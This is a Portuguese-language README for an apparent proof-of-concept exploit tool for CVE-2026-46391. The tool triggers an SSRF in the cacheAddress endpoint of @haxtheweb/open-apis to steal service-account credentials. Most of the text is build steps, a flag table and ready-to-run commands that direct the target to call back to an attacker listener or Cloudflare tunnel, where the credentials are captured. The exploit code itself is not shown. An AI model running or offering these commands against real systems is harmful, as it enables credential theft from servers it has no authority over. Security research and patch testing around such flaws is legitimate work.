
Prova de conceito de exploit para CVE-2026-46391
Prova de conceito para CVE-2026-46391. Aciona a vulnerabilidade SSRF no endpoint cacheAddress do @haxtheweb/open-apis e captura as credenciais da conta de serviço enviadas no callback.

go build -o cve-2026-46391 .
go test ./...
./cve-2026-46391 -u <web-root> -l <listener> [-p port] [-t seconds] [-v]
| Flag | Descrição | Padrão |
|---|---|---|
-u, --url | Raiz web alvo (ex.: http://10.10.0.80:3000) | obrigatório |
-l, --listener | Seu IP/hostname ou URL de túnel (ex.: 192.168.1.10, https://uuid.trycloudflare.com) | obrigatório |
-p, --port | Porta local para escutar | 8080 |
-t, --timeout | Segundos para aguardar o callback | 30 |
-v, --verbose | Exibir cabeçalhos e corpo de cada requisição recebida | desligado |
Direto (mesma rede que o alvo):
./cve-2026-46391 -u http://10.10.0.80:3000 -l 10.10.15.201
Via VPS/túnel Cloudflare/etc:
./cve-2026-46391 -u http://10.10.0.80:3000 -l https://random-words.trycloudflare.com
Porta e tempo limite personalizados:
./cve-2026-46391 -u http://10.10.0.80:3000 -l 10.10.15.201 -p 9090 -t 60